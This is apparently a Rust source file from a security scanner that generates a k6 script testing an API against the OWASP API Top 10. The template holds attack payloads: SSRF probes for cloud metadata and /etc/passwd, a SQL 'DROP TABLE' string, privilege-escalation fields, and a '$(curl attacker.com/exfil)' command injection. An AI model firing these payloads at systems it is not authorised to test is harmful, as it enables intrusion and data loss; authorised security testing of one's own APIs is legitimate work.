1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14use std::collections::HashMap;
15
16pub struct OwaspApiGenerator {
18 config: OwaspApiConfig,
20 target_url: String,
22 operations: Vec<OperationInfo>,
24}
25
26#[derive(Debug, Clone)]
28pub struct OperationInfo {
29 pub method: String,
31 pub path: String,
33 pub operation_id: Option<String>,
35 pub path_params: Vec<PathParam>,
37 pub query_params: Vec<QueryParam>,
39 pub has_body: bool,
41 pub content_type: Option<String>,
43 pub requires_auth: bool,
45 pub tags: Vec<String>,
47}
48
49#[derive(Debug, Clone)]
51pub struct PathParam {
52 pub name: String,
53 pub param_type: String,
54 pub example: Option<String>,
55}
56
57#[derive(Debug, Clone)]
59pub struct QueryParam {
60 pub name: String,
61 pub param_type: String,
62 pub required: bool,
63}
64
65impl OwaspApiGenerator {
66 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
68 let operations = Self::extract_operations(parser);
69 Self {
70 config,
71 target_url,
72 operations,
73 }
74 }
75
76 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
78 parser
79 .get_operations()
80 .into_iter()
81 .map(|op| {
82 let path_params: Vec<PathParam> = op
84 .path
85 .split('/')
86 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
87 .map(|segment| {
88 let name = segment.trim_start_matches('{').trim_end_matches('}');
89 PathParam {
90 name: name.to_string(),
91 param_type: "string".to_string(),
92 example: None,
93 }
94 })
95 .collect();
96
97 OperationInfo {
98 method: op.method.to_uppercase(),
99 path: op.path.clone(),
100 operation_id: op.operation_id.clone(),
101 path_params,
102 query_params: Vec::new(),
103 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
104 content_type: Some("application/json".to_string()),
105 requires_auth: true, tags: op.operation.tags.clone(),
107 }
108 })
109 .collect()
110 }
111
112 pub fn generate(&self) -> Result<String> {
114 let mut handlebars = Handlebars::new();
115
116 handlebars.register_helper("contains", Box::new(contains_helper));
118 handlebars.register_helper("eq", Box::new(eq_helper));
119
120 let template = self.get_script_template();
121 let data = self.build_template_data()?;
122
123 handlebars
124 .render_template(&template, &data)
125 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
126 }
127
128 fn build_template_data(&self) -> Result<Value> {
130 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
131 let mut test_cases: Vec<Value> = Vec::new();
132
133 for category in self.config.categories_to_test() {
135 let category_tests = self.generate_category_tests(category, &payload_generator)?;
136 test_cases.extend(category_tests);
137 }
138
139 let categories = self.config.categories_to_test();
141 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
142 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
143 let test_api3 =
144 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
145 let test_api4 =
146 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
147 let test_api5 =
148 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
149 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
150 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
151 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
152 let test_api9 =
153 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
154 let test_api10 =
155 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
156
157 let base_path = self.config.base_path.clone().unwrap_or_default();
159 let build_path = |path: &str| -> String {
160 if base_path.is_empty() {
161 path.to_string()
162 } else {
163 format!("{}{}", base_path.trim_end_matches('/'), path)
164 }
165 };
166
167 let ops_with_path_params: Vec<Value> = self
169 .operations
170 .iter()
171 .filter(|op| op.path.contains('{'))
172 .map(|op| {
173 json!({
174 "method": op.method.to_lowercase(),
175 "path": build_path(&op.path),
176 })
177 })
178 .collect();
179
180 let get_operations: Vec<Value> = self
182 .operations
183 .iter()
184 .filter(|op| op.method.to_lowercase() == "get")
185 .map(|op| {
186 json!({
187 "method": op.method.to_lowercase(),
188 "path": build_path(&op.path),
189 })
190 })
191 .collect();
192
193 let auth_header_name = escape_js_string(&self.config.auth_header);
195 let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
196
197 Ok(json!({
198 "base_url": self.target_url,
199 "auth_header_name": auth_header_name,
200 "valid_auth_token": valid_auth_token,
201 "concurrency": self.config.concurrency,
202 "iterations": self.config.iterations,
203 "timeout_ms": self.config.timeout_ms,
204 "report_path": self.config.report_path.to_string_lossy(),
205 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
206 "test_cases": test_cases,
207 "operations": self.operations.iter().map(|op| json!({
208 "method": op.method.to_lowercase(),
209 "path": build_path(&op.path),
210 "operation_id": op.operation_id,
211 "has_body": op.has_body,
212 "requires_auth": op.requires_auth,
213 "has_path_params": op.path.contains('{'),
214 })).collect::<Vec<_>>(),
215 "ops_with_path_params": ops_with_path_params,
216 "get_operations": get_operations,
217 "verbose": self.config.verbose,
218 "insecure": self.config.insecure,
219 "test_api1": test_api1,
221 "test_api2": test_api2,
222 "test_api3": test_api3,
223 "test_api4": test_api4,
224 "test_api5": test_api5,
225 "test_api6": test_api6,
226 "test_api7": test_api7,
227 "test_api8": test_api8,
228 "test_api9": test_api9,
229 "test_api10": test_api10,
230 }))
231 }
232
233 fn generate_category_tests(
235 &self,
236 category: OwaspCategory,
237 payload_generator: &OwaspPayloadGenerator,
238 ) -> Result<Vec<Value>> {
239 let payloads = payload_generator.generate_for_category(category);
240 let mut tests = Vec::new();
241
242 for payload in payloads {
243 let applicable_ops = self.get_applicable_operations(&payload);
245
246 for op in applicable_ops {
247 tests.push(json!({
248 "category": category.cli_name(),
249 "category_name": category.short_name(),
250 "description": payload.description,
251 "method": op.method.to_lowercase(),
252 "path": op.path,
253 "payload": payload.value,
254 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
255 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
256 "notes": payload.notes,
257 }));
258 }
259 }
260
261 Ok(tests)
262 }
263
264 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
266 match payload.injection_point {
267 InjectionPoint::PathParam => {
268 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
270 }
271 InjectionPoint::Body => {
272 self.operations.iter().filter(|op| op.has_body).collect()
274 }
275 InjectionPoint::Header | InjectionPoint::Omit => {
276 self.operations.iter().filter(|op| op.requires_auth).collect()
278 }
279 InjectionPoint::QueryParam => {
280 self.operations.iter().collect()
282 }
283 InjectionPoint::Modify => {
284 self.operations.iter().collect()
286 }
287 }
288 }
289
290 fn get_script_template(&self) -> String {
292 r#"// OWASP API Security Top 10 Test Script
293// Generated by MockForge - https://mockforge.dev
294// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
295
296import http from 'k6/http';
297import { check, sleep, group } from 'k6';
298import { Trend, Counter, Rate } from 'k6/metrics';
299
300// Configuration
301const BASE_URL = '{{{base_url}}}';
302const AUTH_HEADER = '{{{auth_header_name}}}';
303{{#if valid_auth_token}}
304const VALID_TOKEN = '{{{valid_auth_token}}}';
305{{else}}
306const VALID_TOKEN = null;
307{{/if}}
308const TIMEOUT = '{{timeout_ms}}ms';
309const VERBOSE = {{verbose}};
310const INSECURE = {{insecure}};
311
312// Custom metrics
313const findingsCounter = new Counter('owasp_findings');
314const testsRun = new Counter('owasp_tests_run');
315const vulnerableRate = new Rate('owasp_vulnerable_rate');
316const responseTime = new Trend('owasp_response_time');
317
318// Test options - use per-VU iterations scenario for controlled test runs
319export const options = {
320 scenarios: {
321 owasp_security_test: {
322 executor: 'per-vu-iterations',
323 vus: {{concurrency}},
324 iterations: {{iterations}}, // Iterations per VU
325 maxDuration: '30m',
326 },
327 },
328 thresholds: {
329 'owasp_findings': ['count<100'], // Alert if too many findings
330 },
331 insecureSkipTLSVerify: INSECURE,
332};
333
334// Findings storage
335const findings = [];
336
337// Helper: Log a finding
338function logFinding(category, endpoint, method, description, evidence) {
339 const finding = {
340 category,
341 endpoint,
342 method,
343 description,
344 evidence,
345 timestamp: new Date().toISOString(),
346 };
347 findings.push(finding);
348 findingsCounter.add(1);
349 vulnerableRate.add(1);
350
351 if (VERBOSE) {
352 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
353 }
354}
355
356// Helper: Log test passed
357function logPass(category, endpoint, method) {
358 vulnerableRate.add(0);
359 if (VERBOSE) {
360 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
361 }
362}
363
364// Helper: Generate a random UUID for path parameters
365// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
366function generateRandomId() {
367 return crypto.randomUUID();
368}
369
370// Helper: Replace path parameters with random UUIDs
371// Replaces all {param} patterns with new random UUIDs
372function replacePathParams(path) {
373 return path.replace(/{[^}]+}/g, () => generateRandomId());
374}
375
376// Helper: Make authenticated request
377function authRequest(method, url, body, additionalHeaders = {}) {
378 const headers = {
379 'Content-Type': 'application/json',
380 ...additionalHeaders,
381 };
382
383 if (VALID_TOKEN) {
384 headers[AUTH_HEADER] = VALID_TOKEN;
385 }
386
387 const params = {
388 headers,
389 timeout: TIMEOUT,
390 };
391
392 // k6 uses 'del' instead of 'delete'
393 const httpMethod = method === 'delete' ? 'del' : method;
394
395 if (httpMethod === 'get' || httpMethod === 'head') {
396 return http[httpMethod](url, params);
397 } else {
398 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
399 }
400}
401
402// Helper: Make unauthenticated request
403function unauthRequest(method, url, body, additionalHeaders = {}) {
404 const headers = {
405 'Content-Type': 'application/json',
406 ...additionalHeaders,
407 };
408
409 const params = {
410 headers,
411 timeout: TIMEOUT,
412 };
413
414 // k6 uses 'del' instead of 'delete'
415 const httpMethod = method === 'delete' ? 'del' : method;
416
417 if (httpMethod === 'get' || httpMethod === 'head') {
418 return http[httpMethod](url, params);
419 } else {
420 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
421 }
422}
423
424// API1: Broken Object Level Authorization (BOLA)
425function testBola() {
426 group('API1 - BOLA', function() {
427 console.log('[API1] Testing Broken Object Level Authorization...');
428
429 {{#each operations}}
430 {{#if has_path_params}}
431 // Test {{path}}
432 {
433 // Generate different random UUIDs for each test
434 const originalId = generateRandomId();
435 const targetId = generateRandomId();
436 const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
437 const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
438
439 if (VERBOSE) {
440 console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
441 }
442
443 // Get baseline with first random ID
444 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
445
446 // Try to access different random ID (simulating another user's resource)
447 const response = authRequest('{{method}}', BASE_URL + targetPath, null);
448 testsRun.add(1);
449 responseTime.add(response.timings.duration);
450
451 if (response.status >= 200 && response.status < 300) {
452 // Check if we got different data (potential BOLA vulnerability)
453 if (response.body !== baseline.body && response.body.length > 0) {
454 logFinding('api1', '{{path}}', '{{method}}',
455 'ID manipulation accepted - accessed different resource',
456 { status: response.status, originalId, targetId, bodyLength: response.body.length });
457 } else {
458 logPass('api1', '{{path}}', '{{method}}');
459 }
460 } else {
461 logPass('api1', '{{path}}', '{{method}}');
462 }
463 }
464 {{/if}}
465 {{/each}}
466 });
467}
468
469// API2: Broken Authentication
470function testBrokenAuth() {
471 group('API2 - Broken Authentication', function() {
472 console.log('[API2] Testing Broken Authentication...');
473
474 {{#each operations}}
475 {{#if requires_auth}}
476 // Test {{path}} without auth
477 {
478 const testPath = replacePathParams('{{path}}');
479 const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
480 testsRun.add(1);
481 responseTime.add(response.timings.duration);
482
483 if (response.status >= 200 && response.status < 300) {
484 logFinding('api2', '{{path}}', '{{method}}',
485 'Endpoint accessible without authentication',
486 { status: response.status });
487 } else {
488 logPass('api2', '{{path}}', '{{method}}');
489 }
490 }
491
492 // Test {{path}} with empty token
493 {
494 const testPath = replacePathParams('{{path}}');
495 const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
496 const makeEmptyTokenRequest = (m, url, body, params) => {
497 if (m === 'get' || m === 'head') return http[m](url, params);
498 return http[m](url, body, params);
499 };
500 const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
501 headers: { [AUTH_HEADER]: 'Bearer ' },
502 timeout: TIMEOUT,
503 });
504 testsRun.add(1);
505
506 if (response.status >= 200 && response.status < 300) {
507 logFinding('api2', '{{path}}', '{{method}}',
508 'Endpoint accessible with empty Bearer token',
509 { status: response.status });
510 }
511 }
512 {{/if}}
513 {{/each}}
514 });
515}
516
517// API3: Broken Object Property Level Authorization (Mass Assignment)
518function testMassAssignment() {
519 group('API3 - Mass Assignment', function() {
520 console.log('[API3] Testing Mass Assignment...');
521
522 const massAssignmentPayloads = [
523 { role: 'admin' },
524 { is_admin: true },
525 { isAdmin: true },
526 { permissions: ['admin', 'write', 'delete'] },
527 { verified: true },
528 { email_verified: true },
529 { balance: 999999 },
530 ];
531
532 {{#each operations}}
533 {{#if has_body}}
534 // Test {{path}}
535 {
536 const testPath = replacePathParams('{{path}}');
537 massAssignmentPayloads.forEach(payload => {
538 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
539 testsRun.add(1);
540 responseTime.add(response.timings.duration);
541
542 if (response.status >= 200 && response.status < 300) {
543 // Check if unauthorized field appears in response
544 const responseBody = response.body.toLowerCase();
545 const payloadKey = Object.keys(payload)[0].toLowerCase();
546
547 if (responseBody.includes(payloadKey)) {
548 logFinding('api3', '{{path}}', '{{method}}',
549 `Mass assignment accepted: ${payloadKey}`,
550 { status: response.status, payload });
551 } else {
552 logPass('api3', '{{path}}', '{{method}}');
553 }
554 }
555 });
556 }
557 {{/if}}
558 {{/each}}
559 });
560}
561
562// API4: Unrestricted Resource Consumption
563function testResourceConsumption() {
564 group('API4 - Resource Consumption', function() {
565 console.log('[API4] Testing Resource Consumption...');
566
567 {{#each operations}}
568 // Test {{path}} with excessive limit
569 {
570 const testPath = replacePathParams('{{path}}');
571 const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
572 const response = authRequest('{{method}}', url, null);
573 testsRun.add(1);
574 responseTime.add(response.timings.duration);
575
576 // Check for rate limit headers
577 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
578 response.headers['x-ratelimit-limit'] ||
579 response.headers['RateLimit-Limit'];
580
581 if (response.status === 429) {
582 logPass('api4', '{{path}}', '{{method}}');
583 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
584 logFinding('api4', '{{path}}', '{{method}}',
585 'No rate limiting detected',
586 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
587 } else {
588 logPass('api4', '{{path}}', '{{method}}');
589 }
590 }
591 {{/each}}
592 });
593}
594
595// API5: Broken Function Level Authorization
596function testFunctionAuth() {
597 group('API5 - Function Authorization', function() {
598 console.log('[API5] Testing Function Level Authorization...');
599
600 const adminPaths = [
601 '/admin',
602 '/admin/users',
603 '/admin/settings',
604 '/api/admin',
605 '/internal',
606 '/management',
607 ];
608
609 adminPaths.forEach(path => {
610 const response = authRequest('get', BASE_URL + path, null);
611 testsRun.add(1);
612 responseTime.add(response.timings.duration);
613
614 if (response.status >= 200 && response.status < 300) {
615 logFinding('api5', path, 'GET',
616 'Admin endpoint accessible',
617 { status: response.status });
618 } else if (response.status === 403 || response.status === 401) {
619 logPass('api5', path, 'GET');
620 }
621 });
622
623 // Also test changing methods on read-only endpoints
624 {{#each get_operations}}
625 {
626 const testPath = replacePathParams('{{path}}');
627 const response = authRequest('delete', BASE_URL + testPath, null);
628 testsRun.add(1);
629
630 if (response.status >= 200 && response.status < 300) {
631 logFinding('api5', '{{path}}', 'DELETE',
632 'DELETE method allowed on read-only endpoint',
633 { status: response.status });
634 }
635 }
636 {{/each}}
637 });
638}
639
640// API7: Server Side Request Forgery (SSRF)
641function testSsrf() {
642 group('API7 - SSRF', function() {
643 console.log('[API7] Testing Server Side Request Forgery...');
644
645 const ssrfPayloads = [
646 'http://localhost/',
647 'http://127.0.0.1/',
648 'http://169.254.169.254/latest/meta-data/',
649 'http://[::1]/',
650 'file:///etc/passwd',
651 ];
652
653 {{#each operations}}
654 {{#if has_body}}
655 // Test {{path}} with SSRF payloads
656 {
657 const testPath = replacePathParams('{{path}}');
658 ssrfPayloads.forEach(payload => {
659 const body = {
660 url: payload,
661 webhook_url: payload,
662 callback: payload,
663 image_url: payload,
664 };
665
666 const response = authRequest('{{method}}', BASE_URL + testPath, body);
667 testsRun.add(1);
668 responseTime.add(response.timings.duration);
669
670 if (response.status >= 200 && response.status < 300) {
671 // Check for indicators of internal access
672 const bodyLower = response.body.toLowerCase();
673 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
674
675 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
676 logFinding('api7', '{{path}}', '{{method}}',
677 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
678 { status: response.status, payload });
679 }
680 }
681 });
682 }
683 {{/if}}
684 {{/each}}
685 });
686}
687
688// API8: Security Misconfiguration
689function testMisconfiguration() {
690 group('API8 - Security Misconfiguration', function() {
691 console.log('[API8] Testing Security Misconfiguration...');
692
693 {{#each operations}}
694 // Test {{path}} for security headers
695 {
696 const testPath = replacePathParams('{{path}}');
697 const response = authRequest('{{method}}', BASE_URL + testPath, null);
698 testsRun.add(1);
699 responseTime.add(response.timings.duration);
700
701 const missingHeaders = [];
702
703 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
704 missingHeaders.push('X-Content-Type-Options');
705 }
706 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
707 missingHeaders.push('X-Frame-Options');
708 }
709 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
710 missingHeaders.push('Strict-Transport-Security');
711 }
712
713 // Check for overly permissive CORS
714 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
715 if (acao === '*') {
716 logFinding('api8', '{{path}}', '{{method}}',
717 'CORS allows all origins (Access-Control-Allow-Origin: *)',
718 { status: response.status });
719 }
720
721 if (missingHeaders.length > 0) {
722 logFinding('api8', '{{path}}', '{{method}}',
723 `Missing security headers: ${missingHeaders.join(', ')}`,
724 { status: response.status, missingHeaders });
725 }
726 }
727 {{/each}}
728
729 // Test for verbose errors
730 {{#each operations}}
731 {{#if has_body}}
732 {
733 const testPath = replacePathParams('{{path}}');
734 const malformedBody = '{"invalid": "json';
735 const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
736 headers: { 'Content-Type': 'application/json' },
737 timeout: TIMEOUT,
738 });
739 testsRun.add(1);
740
741 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
742 const bodyLower = response.body.toLowerCase();
743
744 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
745 logFinding('api8', '{{path}}', '{{method}}',
746 'Verbose error messages exposed',
747 { status: response.status });
748 }
749 }
750 {{/if}}
751 {{/each}}
752 });
753}
754
755// API9: Improper Inventory Management
756function testInventory() {
757 group('API9 - Inventory Management', function() {
758 console.log('[API9] Testing Improper Inventory Management...');
759
760 const discoveryPaths = [
761 '/swagger',
762 '/swagger-ui',
763 '/swagger.json',
764 '/api-docs',
765 '/openapi',
766 '/openapi.json',
767 '/graphql',
768 '/graphiql',
769 '/debug',
770 '/actuator',
771 '/actuator/health',
772 '/actuator/env',
773 '/metrics',
774 '/.env',
775 '/config',
776 ];
777
778 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
779
780 discoveryPaths.forEach(path => {
781 const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
782 testsRun.add(1);
783 responseTime.add(response.timings.duration);
784
785 if (response.status !== 404) {
786 logFinding('api9', path, 'GET',
787 `Undocumented endpoint discovered (HTTP ${response.status})`,
788 { status: response.status });
789 }
790 });
791
792 // Check for old API versions
793 apiVersions.forEach(version => {
794 const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
795 testsRun.add(1);
796
797 if (response.status !== 404) {
798 logFinding('api9', '/' + version + '/', 'GET',
799 `API version endpoint exists (HTTP ${response.status})`,
800 { status: response.status });
801 }
802 });
803 });
804}
805
806// API10: Unsafe Consumption of APIs
807function testUnsafeConsumption() {
808 group('API10 - Unsafe Consumption', function() {
809 console.log('[API10] Testing Unsafe Consumption...');
810
811 const injectionPayloads = [
812 { external_id: "'; DROP TABLE users;--" },
813 { integration_data: "$(curl attacker.com/exfil)" },
814 { template: "\{{7*7}}" },
815 { webhook_url: "http://127.0.0.1:8080/internal" },
816 ];
817
818 {{#each operations}}
819 {{#if has_body}}
820 // Test {{path}} with injection payloads
821 {
822 const testPath = replacePathParams('{{path}}');
823 injectionPayloads.forEach(payload => {
824 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
825 testsRun.add(1);
826 responseTime.add(response.timings.duration);
827
828 // Check if payload was processed (e.g., SSTI returning 49)
829 if (response.body.includes('49')) {
830 logFinding('api10', '{{path}}', '{{method}}',
831 'Server-side template injection detected',
832 { status: response.status, payload });
833 }
834 });
835 }
836 {{/if}}
837 {{/each}}
838 });
839}
840
841// Main test function
842export default function() {
843 console.log('Starting OWASP API Top 10 Security Scan...');
844 console.log('Target: ' + BASE_URL);
845 console.log('');
846
847 {{#if test_api1}}
848 testBola();
849 {{/if}}
850 {{#if test_api2}}
851 testBrokenAuth();
852 {{/if}}
853 {{#if test_api3}}
854 testMassAssignment();
855 {{/if}}
856 {{#if test_api4}}
857 testResourceConsumption();
858 {{/if}}
859 {{#if test_api5}}
860 testFunctionAuth();
861 {{/if}}
862 {{#if test_api7}}
863 testSsrf();
864 {{/if}}
865 {{#if test_api8}}
866 testMisconfiguration();
867 {{/if}}
868 {{#if test_api9}}
869 testInventory();
870 {{/if}}
871 {{#if test_api10}}
872 testUnsafeConsumption();
873 {{/if}}
874
875 sleep(0.1);
876}
877
878// Teardown: Output results
879export function teardown(data) {
880 console.log('');
881 console.log('='.repeat(50));
882 console.log('OWASP API Top 10 Scan Complete');
883 console.log('='.repeat(50));
884 console.log('Total findings: ' + findings.length);
885
886 if (findings.length > 0) {
887 console.log('');
888 console.log('Findings by category:');
889 const byCategory = {};
890 findings.forEach(f => {
891 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
892 });
893 Object.entries(byCategory).forEach(([cat, count]) => {
894 console.log(' ' + cat + ': ' + count);
895 });
896 }
897
898 // Write JSON report
899 console.log('');
900 console.log('Report written to: {{report_path}}');
901}
902"#.to_string()
903 }
904}
905
906fn contains_helper(
908 h: &handlebars::Helper,
909 _: &Handlebars,
910 _: &handlebars::Context,
911 _: &mut handlebars::RenderContext,
912 out: &mut dyn handlebars::Output,
913) -> handlebars::HelperResult {
914 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
915 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
916 let result = param1.contains(param2);
917 out.write(&result.to_string())?;
918 Ok(())
919}
920
921fn eq_helper(
923 h: &handlebars::Helper,
924 _: &Handlebars,
925 _: &handlebars::Context,
926 _: &mut handlebars::RenderContext,
927 out: &mut dyn handlebars::Output,
928) -> handlebars::HelperResult {
929 let param1 = h.param(0).map(|v| v.value());
930 let param2 = h.param(1).map(|v| v.value());
931 let result = param1 == param2;
932 out.write(&result.to_string())?;
933 Ok(())
934}
935
936#[cfg(test)]
937mod tests {
938 use super::*;
939
940 #[test]
941 fn test_generator_creation() {
942 let template = r#"
945 {{#each operations}}
946 // {{method}} {{path}}
947 {{/each}}
948 "#;
949
950 let handlebars = Handlebars::new();
951 let data = json!({
952 "operations": [
953 { "method": "GET", "path": "/users" },
954 { "method": "POST", "path": "/users" },
955 ]
956 });
957
958 let result = handlebars.render_template(template, &data);
959 assert!(result.is_ok());
960 }
961
962 #[test]
963 fn test_script_template_renders() {
964 let config = OwaspApiConfig::default()
965 .with_categories([OwaspCategory::Api1Bola])
966 .with_valid_auth_token("Bearer test123");
967
968 let template = r#"
969const AUTH = '{{auth_header_name}}';
970const TOKEN = '{{valid_auth_token}}';
971{{#each categories_tested}}
972// Testing: {{this}}
973{{/each}}
974 "#;
975
976 let handlebars = Handlebars::new();
977 let data = json!({
978 "auth_header_name": config.auth_header,
979 "valid_auth_token": config.valid_auth_token,
980 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
981 });
982
983 let result = handlebars.render_template(template, &data).unwrap();
984 assert!(result.contains("Authorization"));
985 assert!(result.contains("Bearer test123"));
986 assert!(result.contains("api1"));
987 }
988}